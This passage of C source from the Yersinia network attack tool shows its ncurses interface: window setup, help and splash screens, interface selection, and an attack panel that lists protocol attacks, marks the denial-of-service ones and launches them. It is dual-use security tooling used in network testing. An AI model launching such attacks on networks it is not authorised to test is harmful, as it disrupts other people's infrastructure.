HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 #define VIEW_HEIGHT 15 #define VIEW_WIDTH 68 #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) #define CAN_RESIZE 1 #endif extern u_int8_t pointer[MAX_PROTOCOLS]; extern WINDOW *info_window; void ncurses_c_refresh_mwindow(u_int8_t, WINDOW *, u_int8_t, struct term_node *); void ncurses_c_refresh_bwindow(u_int8_t, WINDOW *, struct term_node *); void ncurses_c_refresh(void); void ncurses_c_engine(WINDOW *[], PANEL *[], struct term_node *); void ncurses_c_edit_bwindow(u_int8_t, WINDOW *, WINDOW *, struct term_node *); int8_t ncurses_c_learn_packet(u_int8_t, u_int8_t, struct term_node *); int8_t ncurses_c_set_status_line(char *); int8_t ncurses_c_term_resize(struct term_node *); int8_t ncurses_c_north(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_south(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_east(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); int8_t ncurses_c_west(u_int8_t, u_int32_t, u_int32_t *, u_int32_t *, u_int8_t *, u_int32_t *); void resizeHandler(int); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/ncurses-gui.c
/* ncurses-gui.c * Implementation for ncurses GUI * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include <netinet/tcp.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include "ncurses-gui.h" #include "ncurses-interface.h" #include "ncurses-callbacks.h" /* * Initialization routines for the GUI */ void ncurses_gui(void *args) { int tmp; WINDOW *my_wins[NCURSES_MAX_WINDOWS]; PANEL *my_panels[NCURSES_MAX_WINDOWS]; struct term_node *term_node = NULL; time_t this_time; sigset_t mask; struct interface_data *iface_data=NULL, *iface; terms->work_state = RUNNING; pthread_mutex_lock(&terms->gui_th.finished); write_log(0,"\n ncurses_gui_th = %d\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("ncurses_gui_th pthread_sigmask()",errno); ncurses_gui_th_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("ncurses_gui_th pthread_mutex_lock",errno); ncurses_gui_th_exit(NULL); } if (term_add_node(&term_node, TERM_CON, 0, pthread_self()) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(NULL); } if (term_node == NULL) { write_log(0, "Ouch!! No more than %d %s accepted!!\n", term_type[TERM_CON].max, term_type[TERM_CON].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(NULL); } this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time,term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since) - 1); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a console so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip) - 1); /* Parse config file */ if ( strlen( tty_tmp->config_file ) ) { if (parser_read_config_file(tty_tmp, term_node) < 0) write_log(0, "Error reading configuration file\n"); } if (pthread_mutex_unlock(&terms->mutex) != 0) { thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(term_node); } if (ncurses_i_init(my_wins, my_panels, term_node) < 0) ncurses_gui_th_exit(term_node); if (interfaces->list) iface_data = dlist_data(interfaces->list); else { ncurses_i_error_window(0, "Hmm... you don't have any valid interface. %s is useless. Go and get a life!", PACKAGE); ncurses_gui_th_exit(term_node); } /* take the first valid interface */ if ( iface_data && strlen( iface_data->ifname ) ) { if ( ncurses_i_error_window(0, "Warning: interface %s selected as the default one", iface_data->ifname) < 0) ncurses_gui_th_exit(term_node); if ((tmp = interfaces_enable(iface_data->ifname)) == -1) { if (ncurses_i_error_window(1, "Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname) < 0) ncurses_gui_th_exit(term_node); } else { iface = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface, (void *)iface_data, sizeof(struct interface_data)); term_node->used_ints->list = dlist_append(term_node->used_ints->list, iface); } } else { if (ncurses_i_error_window(1, "Hmm... you don't have any valid interface. %s is useless. Go and get a life!", PACKAGE) < 0) ncurses_gui_th_exit(term_node); } ncurses_c_engine(my_wins, my_panels, term_node); ncurses_gui_th_exit(term_node); } /* * GUI destroy. End */ void ncurses_gui_th_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; if (endwin() == ERR) thread_error("Error in endwin", errno); write_log(0, "\n ncurses_gui_th_exit start...\n"); if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); } write_log(0," ncurses_gui_th_exit finish...\n"); if (pthread_mutex_unlock(&terms->gui_th.finished) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); terms->work_state = STOPPED; terms->gui_th.id = 0; pthread_exit(NULL); }
C/C++
yersinia/src/ncurses-gui.h
/* ncurses-gui.h * Definitions for the ncurses GUI * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_GUI_H__ #define __NCURSES_GUI_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include <ncurses.h> #else #include <curses.h> #endif #ifdef HAVE_PANEL_H #include <panel.h> #endif #include <ctype.h> #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define NCURSES_MAX_WINDOWS 11 void ncurses_gui(void *); void ncurses_gui_th_exit(struct term_node *); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/ncurses-interface.c
/* ncurses_interface.c * Implementation for ncurses interfaces * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include <netinet/tcp.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include "ncurses-interface.h" #include "ncurses-callbacks.h" u_int8_t pointer[MAX_PROTOCOLS]; WINDOW *info_window; /* * Ncurses init */ int8_t ncurses_i_init(WINDOW *my_wins[], PANEL *my_panels[], struct term_node *node) { int32_t row, col; initscr(); if (has_colors() == FALSE) write_log(0, " Warning: your terminal does not support color\n"); else start_color(); cbreak(); nonl(); noecho(); init_pair(1, COLOR_RED, COLOR_BLACK); init_pair(2, COLOR_GREEN, COLOR_BLACK); init_pair(3, COLOR_BLUE, COLOR_BLACK); init_pair(4, COLOR_CYAN, COLOR_BLACK); init_pair(5, COLOR_YELLOW, COLOR_BLACK); init_pair(6, COLOR_BLACK, COLOR_BLUE); getmaxyx(stdscr,row,col); /* minimum rows & columns to display a proper GUI */ if ((col < NCURSES_MIN_COLS) || (row < NCURSES_MIN_ROWS)) { write_log(0, " Error: I need at least %d rows and %d columns \ for a proper display!!\n", NCURSES_MIN_ROWS, NCURSES_MIN_COLS); printw(" Error: I need at least %d rows and %d columns for a proper display!!\n", NCURSES_MIN_ROWS, NCURSES_MIN_COLS); printw(" I can't work with only %d rows and %d columns, who do you think I am?\n", row, col); printw(" Get a bigger window, press a key, and rerun yersinia :)"); refresh(); getch(); return -1; } /* main window */ my_wins[MAIN_SCREEN] = newwin(row- NCURSES_BWINDOW_SIZE - 1, col, 0, 0); /* secondary window */ my_wins[SEC_SCREEN] = newwin(NCURSES_BWINDOW_SIZE, col, row-NCURSES_BWINDOW_SIZE, 0); /* Create windows for the panels */ my_wins[LIST_FILECAPS] = newwin(20, 60, (row-20)/2, (col-60)/2); my_wins[LIST_ATTACKS] = newwin(20, 60, (row-20)/2, (col-60)/2); my_wins[IFACE_SCREEN] = newwin(10, 50, (row-10)/2, (col-50)/2); my_wins[ATTACK_SCREEN] = newwin(15, 50, (row-15)/2, (col-50)/2); /* my_wins[INFO_SCREEN] = newwin(1, col, NCURSES_BWINDOW_SIZE - 1, 0);*/ info_window = newwin(1, col, row - NCURSES_BWINDOW_SIZE - 1, 0); leaveok(info_window, TRUE); my_wins[HELP_SCREEN] = newwin(23, 42, (row-23)/2, (col-41)/2); my_wins[SPLASH_SCREEN] = newwin(19, 80, (row-19)/2, (col-80)/2); /* main window */ my_panels[MAIN_SCREEN] = new_panel(my_wins[MAIN_SCREEN]); /* secondary window */ my_panels[SEC_SCREEN] = new_panel(my_wins[SEC_SCREEN]); /* Attach a panel to each window */ /* Order is bottom up */ my_panels[LIST_FILECAPS] = new_panel(my_wins[LIST_FILECAPS]); /* Push 0, order: stdscr-0 */ my_panels[LIST_ATTACKS] = new_panel(my_wins[LIST_ATTACKS]); /* Push 0, order: stdscr-0 */ my_panels[IFACE_SCREEN] = new_panel(my_wins[IFACE_SCREEN]); /* Push 0, order: stdscr-0 */ my_panels[ATTACK_SCREEN] = new_panel(my_wins[ATTACK_SCREEN]); /* Push 0, order: stdscr-0 */ /* my_panels[INFO_SCREEN] = new_panel(my_wins[INFO_SCREEN]); / Push 0, order: stdscr-0 / info_panel = new_panel(my_wins[INFO_SCREEN]); Push 0, order: stdscr-0 */ my_panels[HELP_SCREEN] = new_panel(my_wins[HELP_SCREEN]); /* Push 2, order: stdscr-2 */ my_panels[SPLASH_SCREEN] = new_panel(my_wins[SPLASH_SCREEN]); curs_set(0); if (tty_tmp->splash != 0) { ncurses_i_splash_screen(my_wins[SPLASH_SCREEN],NULL); show_panel(my_panels[SPLASH_SCREEN]); ncurses_c_refresh(); /* Hmmm propaganda... */ thread_usleep(900000); hide_panel(my_panels[SPLASH_SCREEN]); ncurses_c_refresh(); } ncurses_c_refresh_mwindow(NCURSES_DEFAULT_MODE, my_wins[MAIN_SCREEN], 0, node); ncurses_c_refresh_bwindow(NCURSES_DEFAULT_MODE, my_wins[SEC_SCREEN], node); return 0; } /* * About panel */ void ncurses_i_splash_screen(WINDOW *splash_screen, PANEL *splash_panel) { int32_t row, col, y, x; /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(splash_screen, y, x); if ((row - 19 != y) || (col - 80 != x)) mvwin(splash_screen, (row - 19)/2, (col - 80)/2); wclear(splash_screen); wattron(splash_screen, COLOR_PAIR(3)); box(splash_screen, 0, 0); mvwprintw(splash_screen, 1, 2, " #²##²²#"); mvwprintw(splash_screen, 2, 2, " ²#°°°²²#²²"); mvwprintw(splash_screen, 3, 2, " #²²²°###°²#²²"); mvwprintw(splash_screen, 4, 2, "²²°²°# #²°°²²²#"); mvwprintw(splash_screen, 5, 2, "°²°°# #²²°²²#"); mvwprintw(splash_screen, 6, 2, "²°²°# #°°²°²²"); mvwprintw(splash_screen, 7, 2, "²²°°²# #°²##²²²"); mvwprintw(splash_screen, 8, 2, "#²²²°# ##°²°##²²²"); mvwprintw(splash_screen, 9, 2, " ²²²°²## #°°²²°²²"); mvwprintw(splash_screen,10, 2, " ²##°°²°# #°²²#²²"); mvwprintw(splash_screen,11, 2, " #²²#²°°# #²°°²²#"); mvwprintw(splash_screen,12, 2, " ²²#²°# #°²°²#"); mvwprintw(splash_screen,13, 2, " #²°²²## ###²#²"); mvwprintw(splash_screen,14, 2, " #²²°°²## ##²°##"); mvwprintw(splash_screen,15, 2, " ²#²°²²°# #²°#²²"); mvwprintw(splash_screen,16, 2, " ²#²²#°²°##### ##°²²²²"); mvwprintw(splash_screen,17, 2, " ²²#°°²²²°°²°°#²²"); wattroff(splash_screen, COLOR_PAIR(3)); mvwprintw(splash_screen, 4, 8, "±²±"); mvwprintw(splash_screen, 5, 7, "±²±²²±"); mvwprintw(splash_screen, 6, 7, "±²±±²²±"); mvwprintw(splash_screen, 7, 8, "²²±²²±²±"); mvwprintw(splash_screen, 8, 8, "±²²²±±²²±"); mvwprintw(splash_screen, 9,10, "±²²²²²²²²±"); mvwprintw(splash_screen,10,11, "±²²±±±²²²²²±"); mvwprintw(splash_screen,11,12, "±²²²±±²²²²²²±"); mvwprintw(splash_screen,12,13, "±±²²±±±±±±²²²±"); mvwprintw(splash_screen,13,15, "±±±²²±±±±²²²"); mvwprintw(splash_screen,14,17, "±±±²²²±²²²"); mvwprintw(splash_screen,15,19, "±±±²²²²±"); mvwprintw(splash_screen,16,24, "±"); wattron(splash_screen, A_BOLD); mvwprintw(splash_screen, 2, 17, "Chaos Internetwork Operating System Software"); mvwprintw(splash_screen, 3, 17, "%s (tm) Software (%s), Version %s, RELEASE SOFTWARE", PACKAGE, INFO_PLATFORM, VERSION); mvwprintw(splash_screen, 4, 21, "Copyright (c) 2004-2007 by tomac & Slay, Inc."); mvwprintw(splash_screen, 5, 22, "Compiled %s by someone", INFO_DATE); if ( uptime < 60 ) mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu seconds", PACKAGE, uptime); else { if ( uptime < 3600 ) mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu minutes, %02lu seconds", PACKAGE, uptime / 60, uptime % 60); else { if ( uptime < (3600*24) ) { mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu hours, %02lu minutes, \ %02lu seconds", PACKAGE, uptime / 3600, (uptime % 3600) / 60, uptime % 60); } else mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu days, %02lu hours, \ %02lu minutes, %02lu seconds", PACKAGE, uptime / (3600*24), (uptime % (3600*24)) / 3600, (uptime % 3600) / 60, uptime % 60); } } mvwprintw(splash_screen, 8, 29, "Running Multithreading Image on"); mvwprintw(splash_screen, 9, 30, "%s %s supporting:", INFO_KERN, INFO_KERN_VER); mvwprintw(splash_screen, 11, 40, "%02d console terminal(s)", MAX_CON); mvwprintw(splash_screen, 12, 40, "%02d tty terminal(s)", MAX_TTY); mvwprintw(splash_screen, 13, 40, "%02d vty terminal(s)", MAX_VTY); wattron(splash_screen, A_BOLD | A_BLINK); wattroff(splash_screen, A_BOLD | A_BLINK); if (splash_panel) { wtimeout(splash_screen, NCURSES_KEY_TIMEOUT); while ((wgetch(splash_screen)==ERR) && !terms->gui_th.stop); hide_panel(splash_panel); } } /* * Help panel */ void ncurses_i_help_screen(u_int8_t mode, WINDOW *help_screen, PANEL *help_panel) { int32_t row, col, y, x; ncurses_c_set_status_line(" This is the help screen. "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(help_screen, y, x); if ((row - 24 != y) || (col - 41 != x)) mvwin(help_screen, (row - 24)/2, (col - 41)/2); wattron(help_screen, COLOR_PAIR(2)); box(help_screen, 0, 0); /* common help for all modes */ mvwprintw(help_screen, 0, 13, " Available commands "); mvwprintw(help_screen, 1, 2, "h"); mvwprintw(help_screen, 2, 2, "x"); mvwprintw(help_screen, 3, 2, "i"); mvwprintw(help_screen, 4, 2, "ENTER"); mvwprintw(help_screen, 5, 2, "v"); mvwprintw(help_screen, 6, 2, "d"); mvwprintw(help_screen, 7, 2, "e"); mvwprintw(help_screen, 8, 2, "f"); mvwprintw(help_screen, 9, 2, "s"); mvwprintw(help_screen, 10, 2, "S"); mvwprintw(help_screen, 11, 2, "L"); mvwprintw(help_screen, 12, 2, "M"); mvwprintw(help_screen, 13, 2, "l"); mvwprintw(help_screen, 14, 2, "K"); mvwprintw(help_screen, 15, 2, "c"); mvwprintw(help_screen, 16, 2, "C"); mvwprintw(help_screen, 17, 2, "g"); mvwprintw(help_screen, 18, 2, "Ctrl-L"); mvwprintw(help_screen, 19, 2, "w"); mvwprintw(help_screen, 20, 2, "a"); mvwprintw(help_screen, 21, 2, "q"); wattroff(help_screen, COLOR_PAIR(2)); mvwprintw(help_screen, 1, 9, "Help screen"); mvwprintw(help_screen, 2, 9, "eXecute attack"); mvwprintw(help_screen, 3, 9, "edit Interfaces"); mvwprintw(help_screen, 4, 9, "information about selected item"); mvwprintw(help_screen, 5, 9, "View hex packet dump"); mvwprintw(help_screen, 6, 9, "load protocol Default values"); mvwprintw(help_screen, 7, 9, "Edit packet fields"); mvwprintw(help_screen, 8, 9, "list capture Files"); mvwprintw(help_screen, 9, 9, "Save packets from protocol"); mvwprintw(help_screen, 10, 9, "Save packets from all protocols"); mvwprintw(help_screen, 11, 9, "Learn packet from network"); mvwprintw(help_screen, 12, 9, "set Mac spoofing on/off"); mvwprintw(help_screen, 13, 9, "List running attacks"); mvwprintw(help_screen, 14, 9, "Kill all running attacks"); mvwprintw(help_screen, 15, 9, "Clear current protocol stats"); mvwprintw(help_screen, 16, 9, "Clear all protocols stats"); mvwprintw(help_screen, 17, 9, "Go to other protocol screen"); mvwprintw(help_screen, 18, 9, "redraw screen"); mvwprintw(help_screen, 19, 9, "Write configuration file"); mvwprintw(help_screen, 20, 9, "About this proggie"); mvwprintw(help_screen, 21, 9, "Quit (bring da noize)"); wtimeout(help_screen,NCURSES_KEY_TIMEOUT); while ( (wgetch(help_screen)==ERR) && !terms->gui_th.stop); hide_panel(help_panel); ncurses_c_set_status_line(""); } /* * Attack information panel */ void ncurses_i_attack_screen( struct term_node *node, u_int8_t mode, WINDOW *attack_screen, PANEL *attack_panel ) { int32_t i, key_pressed=0, j, row, col, y, x; u_int8_t field; int8_t ret; struct attack_param *attack_param = NULL; struct _attack_definition *attack_def = NULL; ncurses_c_set_status_line(" Those strange attacks... "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(attack_screen, y, x); if ((row - 15 != y) || (col - 50 != x)) mvwin(attack_screen, (row - 15)/2, (col - 50)/2); if ( protocols[ mode ].attack_def_list ) attack_def = protocols[ mode ].attack_def_list; else { write_log(0, "Warning: no attacks for mode %d\n", mode); return; } i = 0; wclear(attack_screen); wattron(attack_screen, COLOR_PAIR(1)); box(attack_screen, 0, 0); mvwprintw(attack_screen, 0, 18, " Attack Panel "); mvwprintw(attack_screen, 14, 5, " Select attack to launch ('q' to quit) "); mvwprintw(attack_screen, 1, 2, "No DoS Description"); wattroff(attack_screen, COLOR_PAIR(1)); while( attack_def[i].desc != NULL ) { mvwprintw(attack_screen, i+2, 2, "%d", i); mvwprintw(attack_screen, i+2, 7, "%c", (attack_def[i].type == DOS) ? 'X' : ' '); mvwprintw(attack_screen, i+2, 13, "%s", attack_def[i].desc); i++; } wtimeout(attack_screen,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while ( (key_pressed !='Q') && (key_pressed != 'q') && !terms->gui_th.stop) { key_pressed = wgetch(attack_screen); switch (key_pressed) { case 'Q': case 'q': break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': j = key_pressed - 48; if (j < i) { /* does the attack exist? */ if ( attack_def[j].nparams) /* Do we need parameters for attack? */ { if ((attack_param = calloc(1, (sizeof(struct attack_param) * attack_def[j].nparams))) == NULL) { thread_error(" ncurses_i_attack_screen attack_param calloc",errno); key_pressed='Q'; break; } memcpy( attack_param, (void *)( attack_def[j].param), sizeof(struct attack_param) * attack_def[j].nparams); if (attack_init_params(node, attack_param, attack_def[j].nparams) < 0) { free(attack_param); attack_param = NULL ; key_pressed='Q'; break; } /* Hide the attack panel */ hide_panel(attack_panel); /* Now we can ask for parameters... */ ncurses_i_get_printable_store(attack_param, attack_def[j].nparams); do { if (ncurses_i_attack_get_params(attack_param, attack_def[j].nparams) < 0) /* Q pressed */ { attack_free_params(attack_param, attack_def[j].nparams); free(attack_param); attack_param = NULL ; key_pressed='Q'; break; } ret = attack_filter_all_params( attack_param, attack_def[j].nparams, &field ); if ( ret == -1) /* Error on data...*/ { if ( attack_param[field].type == FIELD_ENABLED_IFACE ) ncurses_i_error_window( 1, "Nonexistant or disabled network interface on field '%s'!!", attack_param[field].desc ); else ncurses_i_error_window( 1, "Bad data on field '%s'!!", attack_param[field].desc ); } } while(ret==-1); if (key_pressed == 'Q') { i = 0; wclear(attack_screen); wattron(attack_screen, COLOR_PAIR(1)); box(attack_screen, 0, 0); mvwprintw(attack_screen, 0, 20, " Attack Panel "); mvwprintw(attack_screen, 14, 5, " Select attack to launch ('q' to quit) "); mvwprintw(attack_screen, 1, 2, "No DoS Description"); wattroff(attack_screen, COLOR_PAIR(1)); while ( attack_def[i].desc != NULL ) { mvwprintw(attack_screen, i+2, 2, "%d", i); mvwprintw(attack_screen, i+2, 7, "%c", ( attack_def[i].type == DOS) ? 'X' : ' '); mvwprintw(attack_screen, i+2, 13, "%s", attack_def[i].desc); i++; } key_pressed = 0; continue; } } wrefresh(attack_screen); show_panel(attack_panel); ncurses_c_refresh(); if (attack_launch(node, mode, j, attack_param, attack_def[j].nparams) < 0) write_log(0, "Error launching attack %d", j); key_pressed='Q'; } break; } } hide_panel(attack_panel); ncurses_c_set_status_line(""); } /* * Set interfaces panel */ void ncurses_i_ifaces_screen(struct term_node *node, WINDOW *ifaces_window, PANEL *ifaces_panel) { u_int8_t end, change; int32_t i, key_pressed, j; u_int8_t row, col, y, x; dlist_t *p; struct interface_data *iface_data, *iface_new; void *found; end = 0; change = 1; ncurses_c_set_status_line(" Interfaces to the world "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(ifaces_window, y, x); if ((row - 10 != y) || (col - 50 != x)) mvwin(ifaces_window, (row - 10)/2, (col - 50)/2); wtimeout(ifaces_window, NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while(!end && !terms->gui_th.stop) { i = 0; if (change) { wclear(ifaces_window); wattron(ifaces_window, COLOR_PAIR(4)); box(ifaces_window, 0, 0); mvwprintw(ifaces_window, 0, 15, " Global Interfaces "); mvwprintw(ifaces_window, 9, 17, " Press q to exit "); for (p = interfaces->list; p; p = dlist_next(interfaces->list, p)) { iface_data = (struct interface_data *) dlist_data(p); found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *) iface_data->ifname); if (found) wattron(ifaces_window, COLOR_PAIR(4)); else wattroff(ifaces_window, COLOR_PAIR(4)); mvwprintw(ifaces_window, i+2, 2, "%c) %s (%s)", i + 97, iface_data->ifname, found ? "ON" : "OFF"); i++; } change = 0; } do { key_pressed = wgetch(ifaces_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case 27: /* ESC */ case 'Q': case 'q': end = 1; break; default: j = key_pressed - 97; for (p = interfaces->list, i = 0; p && i < j; p = dlist_next(interfaces->list, p), i++); iface_data = (struct interface_data *) dlist_data(p); if (iface_data) { if ((p = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)iface_data->ifname)) != NULL) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); node->used_ints->list = dlist_remove(node->used_ints->list, iface_data); change = 1; } else { interfaces_enable(iface_data->ifname); iface_new = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_new, (void *)iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_new); change = 1; } } break; } } } /* while...*/ wattroff(ifaces_window, COLOR_PAIR(4)); hide_panel(ifaces_panel); ncurses_c_set_status_line(""); } /* * Display information about the selected item */ int8_t ncurses_i_show_info(u_int8_t mode, WINDOW *main_window, u_int8_t pointer, struct term_node *node) { u_int8_t j, line, row, col, k; int32_t key_pressed; WINDOW *info_window; char **values, *ptrtlv; struct commands_param *params; ncurses_c_set_status_line(" Information should be free "); getmaxyx(main_window,row,col); info_window = newpad(MAX_PAD_HEIGHT, MAX_PAD_WIDTH); keypad(info_window, TRUE); line = 0; params = (struct commands_param *) protocols[mode].parameters; /* OK, I already know that this is a weird way to do it, but * I do not have enough free time to fix it :P */ wattron(info_window, COLOR_PAIR(4)); wattron(main_window, COLOR_PAIR(4)); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 - 1, ACS_ULCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_URCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_LRCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, 